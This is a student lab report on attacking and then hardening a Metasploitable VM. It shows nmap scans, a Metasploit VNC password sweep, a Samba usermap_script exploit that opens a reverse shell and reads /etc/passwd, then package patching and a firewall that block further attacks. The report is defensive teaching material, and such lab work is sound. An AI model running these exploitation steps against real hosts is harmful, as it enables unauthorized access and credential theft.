

***Lab 8: APT Fix***

CNIT 47100

Group 11

Ethan Hammond

Date Submitted: 03/22/24

Date Due: 03/22/24

## TABLE OF CONTENTS

<b>TABLE OF CONTENTS.....</b>	<b>2</b>
<b>EXECUTIVE SUMMARY.....</b>	<b>3</b>
<b>STATEMENT OF WORK.....</b>	<b>4</b>
<b>PROCEDURES.....</b>	<b>5</b>
Task 1.....	5
Task 2.....	9
Task 3.....	13
Task 4.....	15
<b>CONCLUSION AND RECOMMENDATIONS.....</b>	<b>17</b>
<b>REFERENCES.....</b>	<b>18</b>

## EXECUTIVE SUMMARY

To train cybersecurity personnel, it is critical that they know how to manipulate repositories as well as are well-versed in several exploitation methods on services. Highlighted are vulnerabilities in VNC Viewer and Samba that can be exploited and remote shells gained by the attacker. On the defender side, fixing the APT package to patch these vulnerabilities made it impossible to exploit the samba service. Also, firewalls are critical to protecting clients as it blocks any sort of port scanning from outside sources. With metasploitable using a firewall, it was impossible to detect any vulnerable sources.

## STATEMENT OF WORK

Lab 8 highlights the vulnerabilities in VNC Viewer, Samba, and importance of patching these vulnerabilities as well as keeping a firewall active. The following outline is what was completed in lab:

- Exploit VNC Viewer via Metasploit on Kali
- Exploit Samba via Metasploit on Kali
- Fix APT and the samba service on Kali
- Demonstrate a failure to exploit
- Turn the metasploitable firewall on and demonstrate inability to exploit.

The above steps were effective in providing proof of concepts for vulnerable services, patching importance, and firewall effectiveness.

## PROCEDURES

### Task 1

Task 1 outlines the process of scanning and exploiting an old version of VNC Viewer.

This software has a remote code execution vulnerability and allows the user to remote into the victim's desktop and use the system shell.

```
(group11㉿kali)-[~]
$ nmap -sV 44.106.11.49
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-21 22:20 EDT
Nmap scan report for 44.106.11.49
Host is up (0.00019s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        login
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE
: cpe:/o:linux:linux_kernel
```

Figure 1a: nmap scan showing VNC protocol version

```
msf6 > search vnc 3.3
Matching Modules
=====
#  Name                               Disclosure Date  Rank   Check  Description
-  --
  0  exploit/windows/vnc/realvnc_client    2001-01-29  normal  No     RealVNC 3.3.7 Client
  t Buffer Overflow
  1  auxiliary/scanner/vnc/vnc_login
Scanner
  2  exploit/windows/vnc/winvnc_http_get  2001-01-29  average  No     WinVNC Web Server GET Overflow

Interact with a module by name or index. For example info 2, use 2 or use exploit/windows/vnc/winvnc_http_get

msf6 > 
```

Figure 1b: Search for vnc 3.3 modules

```
msf6 auxiliary(scanner/vnc/vnc_login) > set RHOSTS 44.106.11.49
RHOSTS => 44.106.11.49
msf6 auxiliary(scanner/vnc/vnc_login) > exploit

[*] 44.106.11.49:5900      - 44.106.11.49:5900 - Starting VNC login sweep
[!] 44.106.11.49:5900      - No active DB -- Credential data will not be saved!
[+] 44.106.11.49:5900      - 44.106.11.49:5900 - Login Successful: :password
[*] 44.106.11.49:5900      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/vnc/vnc_login) > 
```

Figure 1c: Password found auxiliary module

```
(group11@group11kali)-[~]
$ vncviewer 44.106.11.49:5900
Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password:
Authentication successful
Desktop name "root's X desktop (metasploitable:0)"
VNC server default format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
[ ]
TightVNC: root's X desktop (metasploitable:0)
root@metasploitable: / [ ]
```

A screenshot of a VNC viewer window titled "TightVNC: root's X desktop (metasploitable:0)". The window contains a terminal session with the following text:  
- A prompt "(group11@group11kali)-[~]" followed by a dollar sign.  
- The command "vncviewer 44.106.11.49:5900" is entered.  
- A message "Connected to RFB server, using protocol version 3.3" is displayed.  
- The text "Performing standard VNC authentication" appears.  
- A "Password:" prompt is shown.  
- The message "Authentication successful" is displayed.  
- The desktop name "root's X desktop (metasploitable:0)" is shown.  
- The VNC server default format is described as "32 bits per pixel." and "Least significant byte first in each pixel.", with "True colour" details: max red 255, green 255, blue 255, shift red 16, green 8, blue 0.  
- The colormap is noted as "Using default colormap which is TrueColor. Pixel format: 32 bits per pixel." and "Least significant byte first in each pixel.", with "True colour" details: max red 255, green 255, blue 255, shift red 16, green 8, blue 0.  
The terminal window has a black background and white text. The title bar and window controls are visible at the top.

Figure 1d: logging in with VNC viewer

```
1.10:57848 (CLOSE_WAIT)
ruby      5170    root     3u   IPv4  13395      TCP *:8787 (LISTEN)
Xtightvnc 5184    root     0u   IPv4  13397      TCP *:6000 (LISTEN)
Xtightvnc 5184    root     3u   IPv4  13400      TCP *:5900 (LISTEN)
Xtightvnc 5184    root     6u   IPv4  13964      TCP 44.106.11.49:5900->44.106.1
1.10:41660 (ESTABLISHED)
unrealirc 5187    root     2u   IPv4  13402      TCP *:6667 (LISTEN)
unrealirc 5187    root     3u   IPv4  13403      TCP *:6697 (LISTEN)
apache2   5344 www-data   3u   IPv4  13323      TCP *:80 (LISTEN)
root@metasploitable:~#
```

---

Figure 1e: Used lsof -i -n -P to find the service PID 5184

```
(group11㉿kali)-[~]
$ nmap -sV 44.106.11.49
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-21 22:50 EDT
Nmap scan report for 44.106.11.49
Host is up (0.11s latency).
Not shown: 979 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smptd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        login
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix
linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org
Nmap done: 1 IP address (1 host up) scanned in 13.98 seconds

(group11㉿kali)-[~]
$
```

Figure 1f: Used kill 5184 to kill the process

```

msf6 auxiliary(scanner/vnc/vnc_login) > set RHOSTS 44.106.11.49
RHOSTS => 44.106.11.49
msf6 auxiliary(scanner/vnc/vnc_login) > exploit

[*] 44.106.11.49:5900      - 44.106.11.49:5900 - Starting VNC login sweep
[!] 44.106.11.49:5900      - No active DB -- Credential data will not be saved!
[-] 44.106.11.49:5900      - 44.106.11.49:5900 - LOGIN FAILED: <BLANK>:password (Unable to Connect: The connection was refused by the remote host (44.106.11.49:5900).)
[*] 44.106.11.49:5900      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/vnc/vnc_login) >

```

Figure 1g: Auxiliary module failed

## Task 2

Task 2 outlines a samba vulnerability, the patching, and failure to exploit afterwards. This proves the importance of software patching in an enterprise environment.

```

msf6 auxiliary(scanner/vnc/vnc_login) > sudo nmap -sV 44.106.11.49
[*] exec: sudo nmap -sV 44.106.11.49

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-21 22:53 EDT
Nmap scan report for 44.106.11.49
Host is up (0.00018s latency).
Not shown: 979 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        login
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:50:56:91:18:93 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/s
Nmap done: 1 IP address (1 host up) scanned in 11.52 seconds
msf6 auxiliary(scanner/vnc/vnc_login) >

```

Figure 2a: nmap scan to identify samba

```
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 44.106.11.10:4444
[*] Command shell session 1 opened (44.106.11.10:4444 → 44.106.11.49:58217) at 2019-07-06 07:07 -0400
[!] File System
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
[!] File System
```

Figure 2b: Samba exploit success

```
sync:x:4:65534:sync:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
user:x:1001:1001:just a user,111,,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
```

Figure 2c: Output of /etc/passwd

```
sed -i 's/archive.canonical.com/old-releases.ubuntu.com/' /etc/apt/sources.list
sed -i 's/us.archive.ubuntu.com/old-releases.ubuntu.com/' /etc/apt/sources.list
sed -i 's/security.ubuntu.com/old-releases.ubuntu.com/' /etc/apt/sources.list
```

Figure 2d: Sed used to replace lines

```
## Uncomment the following two lines to add software from Canonical's
## 'partner' repository. This software is not part of Ubuntu, but is
## offered by Canonical and the respective vendors as a service to Ubuntu
## users.
## deb http://old-releases.ubuntu.com/ubuntu hardy partner
## deb-src http://old-releases.ubuntu.com/ubuntu hardy partner
deb http://old-releases.ubuntu.com/ubuntu hardy-security main restricted
```

Figure 2e: Commented out

```
apt-get update && apt-get upgrade -y
Hit http://old-releases.ubuntu.com hardy Release.gpg
Hit http://old-releases.ubuntu.com hardy-updates Release
Hit http://old-releases.ubuntu.com hardy-backports Release
Hit http://old-releases.ubuntu.com hardy-security Release
Hit http://old-releases.ubuntu.com hardy Release
Hit http://old-releases.ubuntu.com hardy-updates Release
Hit http://old-releases.ubuntu.com hardy-backports Release
Hit http://old-releases.ubuntu.com hardy-security Release
Hit http://old-releases.ubuntu.com hardy/main Packages
Hit http://old-releases.ubuntu.com hardy/restricted Pack
```

Figure 2f: Update and upgrading the machine

```
[*] Started reverse TCP handler on 44.106.11.10:4444
[*] Exploit completed, but no session was created.
msf6 exploit(multi/samba/usermap_script) > █
```

Figure 2g: Failure for the exploit to run

```

[*] msf513 -> 44.106.11.49
msf6 auxiliary(dos/samba/lsa_transnames_heap) > run
[*] Running module against 44.106.11.49

[*] 44.106.11.49:445 - Connecting to the SMB service ...
[*] 44.106.11.49:445 - Binding to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:44.106.11.49[9\lsarpc] ...
[*] 44.106.11.49:445 - Bound to 12345778-1234-abcd-ef00-0123456789ab:0.0@ncacn_np:44.106.11.49[\lsarpc] ...
[*] 44.106.11.49:445 - Calling the vulnerable function ...
[-] 44.106.11.49:445 - Auxiliary failed: Rex::Proto::DCERPC::Exceptions::Fault DCERPC FAULT =>
nca_op_rng_error
[-] 44.106.11.49:445 - Call stack:
[-] 44.106.11.49:445 -   /usr/share/metasploit-framework/lib/rex/proto/dcerpc/client.rb:275:in
`call'
[-] 44.106.11.49:445 -   /usr/share/metasploit-framework/modules/auxiliary/dos/samba/lsa_transnames_heap.rb:63:in `run'
[*] Auxiliary module execution completed
msf6 auxiliary(dos/samba/lsa_transnames_heap) > ■

```

Figure 2h: Auxiliary no longer works

### Task 3

Task 3 outlines APT not working on the old metasploitable machine. Then, on the patched machine, a network monitoring tool is installed and opened in Figures 3b and 3c.

```

source/Sources.gz 404 Not Found [IP: 91.189.91.83 80]

W: Failed to fetch http://security.ubuntu.com/ubuntu/dists/hardy-security/restricted/source/Sources.gz 404 Not Found [IP: 91.189.91.83 80]

W: Failed to fetch http://security.ubuntu.com/ubuntu/dists/hardy-security/universe/binary-i386/Packages.gz 404 Not Found [IP: 91.189.91.83 80]

W: Failed to fetch http://security.ubuntu.com/ubuntu/dists/hardy-security/universe/source/Sources.gz 404 Not Found [IP: 91.189.91.83 80]

W: Failed to fetch http://security.ubuntu.com/ubuntu/dists/hardy-security/multiverse/binary-i386/Packages.gz 404 Not Found [IP: 91.189.91.83 80]

W: Failed to fetch http://security.ubuntu.com/ubuntu/dists/hardy-security/multiverse/source/Sources.gz 404 Not Found [IP: 91.189.91.83 80]

E: Some index files failed to download, they have been ignored, or old ones used instead.
msfadmin@metasploitable:~$ _

```

Figure 3a: apt-get install does not work

```
msfadmin@metasploitable:~$ sudo apt-get install nload
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  nload
0 upgraded, 1 newly installed, 0 to remove and 13 not upgraded.
Need to get 30.5kB of archives.
After this operation, 123kB of additional disk space will be used.
Get:1 http://old-releases.ubuntu.com hardy/universe nload 0.6.0-3 [30.5kB]
Fetched 30.5kB in 2s (11.9kB/s)
Selecting previously deselected package nload.
(Reading database ... 38268 files and directories currently installed.)
Unpacking nload (from .../nload_0.6.0-3_i386.deb) ...
Setting up nload (0.6.0-3) ...
msfadmin@metasploitable:~$ _
```

Figure 3b: Installed nload

```
Device eth0 [44.106.11.49] (1/1):
=====
Incoming:

                                         Curr: 0.00 kBit/s
                                         Avg: 0.00 kBit/s
                                         Min: 0.00 kBit/s
                                         Max: 0.00 kBit/s
                                         Ttl: 127.07 MByte

Outgoing:

                                         Curr: 0.00 kBit/s
                                         Avg: 0.00 kBit/s
                                         Min: 0.00 kBit/s
                                         Max: 0.00 kBit/s
                                         Ttl: 4.58 MByte
```

Figure 3c: nload working properly

## Task 4

Task 4 Figures a and c shows the differences between port scanning without being behind a firewall and port scanning when the victim is behind a firewall. Without a firewall, the user is able to see all services running and their versions. With a firewall, the user cannot see any open ports, let alone any version or state.

```
Host is up (0.00019s latency).
Not shown: 979 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        login
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi   GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.96-0ubuntu3
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:50:56:91:18:93 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE : cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.12 seconds

[+] (group11@g11kali)-[~]
```

Figure 4a: nmap scan on metasploitable

```
msfadmin@metasploitable: ~$ sudo ufw
Usage: ufw COMMAND

Commands:
enable                                Enables the firewall
disable                               Disables the firewall
default ARG                           set default policy to ALLOW or DENY
logging ARG                           set logging to ON or OFF
allow|deny RULE                      allow or deny RULE
delete allow|deny RULE                delete the allow/deny RULE
status                                 show firewall status
version                               display version information

msfadmin@metasploitable:~$ sudo ufw enable
Firewall started and enabled on system startup
msfadmin@metasploitable:~$ _
```

Figure 4b: Firewall enabled on metasploitable

```
└─(group11㉿kali)-[~]
$ sudo nmap -sV 44.106.11.49
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-22 16:43 EDT
Nmap scan report for 44.106.11.49
Host is up (0.00017s latency).
All 1000 scanned ports on 44.106.11.49 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)
MAC Address: 00:50:56:91:18:93 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.35 seconds
└─(group11㉿kali)-[~]
$ █
```

Figure 4c: nmap with firewall on

## CONCLUSION AND RECOMMENDATIONS

It was concluded that vulnerabilities in services that are running on a server can be easily exploited and provide very negative effects on an environment. An attacker can very easily exploit a software vulnerability to execute code remotely into the system and gain root access. This can be used to gain passwords as well as shut down services and do denial-of-service attacks. This can be solved by patching company software and keeping up-to-date on exploits. It is recommended to also keep firewalls on at all times to prevent unauthorized access from outside sources port scanning an environment.

## REFERENCES

*Exporting and importing data.* Exporting and Importing Data | Metasploit Documentation. (n.d.).

<https://docs.rapid7.com/metasploit/exporting-and-importing-data/>

GfG. (2023, July 13). *SED command in linux/unix with examples*. GeeksforGeeks.

<https://www.geeksforgeeks.org/sed-command-in-linux-unix-with-examples/>

How do I use VNC to access a remote linux desktop? (n.d.).

<https://cets.seas.upenn.edu/answers/vnc.html>

Kili, A., & Filho, J. R. B. (2017, May 25). *NLOAD - monitor linux network bandwidth usage in real time*. nload – Monitor Linux Network Bandwidth Usage in Real Time.

<https://www.tecmint.com/nload-monitor-linux-network-traffic-bandwidth-usage/>